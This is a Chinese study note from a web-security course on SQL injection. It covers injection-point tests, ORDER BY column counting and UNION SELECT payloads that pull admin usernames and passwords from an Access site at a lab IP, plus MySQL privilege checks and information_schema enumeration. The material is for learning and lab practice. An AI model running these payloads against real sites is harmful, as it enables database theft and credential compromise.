小迪安全笔记-24
小迪安全笔记-24
Kn1ght第24天:WEB攻防-通用漏洞_SQL注入_MYSQL跨库_ACCESS偏移
SQL注入之前看过橙子科技的(但没看完),也是搭建了sql-labs靶场自己练习了,看橙子科技的时候也做了一点笔记但不多,之后还是根据橙子科技的视频和sql-labs靶场再仔细学
知识点
1、脚本代码与数据库前置知识
2、Access数据库注入-简易&偏移
3、MYSQL数据库注入-简易&权限跨库
前置知识
-SQL注入漏洞产生原理分析
-SQL注入漏洞危害利用分析
-脚本代码与数据库操作流程
-数据库名,表名,列名,数据
-数据库类型,数据库用户,用户权限
脚本代码在实现代码与数据库进行数据通讯时(从数据库取出相关数据进行页面显示),将定义的SQL语句进行执行查询数据时。其中的SQL语句能通过参数传递自定义值来实现控制SQL语句,从而执行恶意的SQL语句,可以实现查询其他数据(数据库中的敏感数据,如管理员帐号密码)。这一个过程就可以叫做SQL注入漏洞。
SQL注入攻击流程:
\1. 猜测数据库类型
\2. 根据类型选择思路
ACCESS 数据库结构:独立存在
数据库名
表名
列名(字段)
数据
测试目的:从数据库拿到管理员的账号和密码
asp代码:
测试步骤:
① 判断是否存在注入点
http://192.168.199.136:85/Production/PRODUCT_DETAIL.asp?id=1513 and 1=1 //页面显示正常
http://192.168.199.136:85/Production/PRODUCT_DETAIL.asp?id=1513 and 1=2 //页面显示错误
说明参数?id=xx存在注入点
② order by查询表字段数:
http://192.168.199.136:85/Production/PRODUCT_DETAIL.asp?id=1513 order by 22 //页面显示正确
http://192.168.199.136:85/Production/PRODUCT_DETAIL.asp?id=1513 order by 23 //页面显示错误
说明该表有22个字段
③ UNION SELECT联合查询,爆出数字:由于access没有数据库名等,直接暴力猜解表名(admin表)
http://192.168.199.136:85/Production/PRODUCT_DETAIL.asp?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
可借助firefox的插件自动填写:
对应的sql语句:
执行结果:页面上暴露出相关数字,说明存在admin的表(如果没有暴露出数字,说明不存在该表)
④ 猜解admin表的字段名(将暴露数字的列替换为用户名和密码等列名)
http://192.168.199.136:85/Production/PRODUCT_DETAIL.asp?id=1513 UNION SELECT 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin
PHP+MYSQL-简易注入-存储特性
mysql数据库
MYSQL 统一管理:可能有多个库,存在多个用户分别管理不同库,相互不影响
最高数据库用户=root用户
数据库A=网站A=数据库用户A
表名
列名
数据
数据库B=网站B=数据库用户B
数据库C=网站C=数据库用户C
为了网站和数据库的安全性,MYSQL内置有ROOT最高用户,划分等级,每个用户对应管理一个数据库,这样保证无不关联,从而不会影响到其他数据库的运行。
MYSQL注入的两种思路
非ROOT用户的注入攻击:常规类的猜解
ROOT用户的注入攻击:文件读写操作,跨库查询注入等
黑盒测试中可以采用user()函数来获取当前用户权限,白盒中看连接用户即可!
获取相关数据
\1. 数据库版本:version() - 看是否符合information_schema查询(5.0以上版本符合)
\2. 数据库用户:user() - 看是否符合ROOT型注入攻击
\3. 当前操作系统:@@version_compile_os - 看是否支持大小写或文件路径选择
\4. 数据库名字:database() - 为后期猜解指定数据库下的表,列做准备
Mysql数据库特性
MYSQL5.0以上版本:自带名为information_schema的数据库,可以通过它查询获取指定数据库下面的表名或列名信息
1.数据库中符号.代表下一级,如xaiodi.user表示xiaodi数据库下的user表。
information_schema.schemata:记录所有数据库名的表
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
2.information_schema 数据库的三张表 下的 字段名 :
SCHEMATA(infomation_schema.schemata表):记录数据库名的表
schemata_name:数据库名
TABLES(information_schema.tables表):记录所有表名的表
table_name:表名
table_schema:数据库名
COLUMNS(information_schema.columns表):记录所有列名的表
column_name:列名
TABLE_SCHEMA:数据库名
TABLE_NAME:表名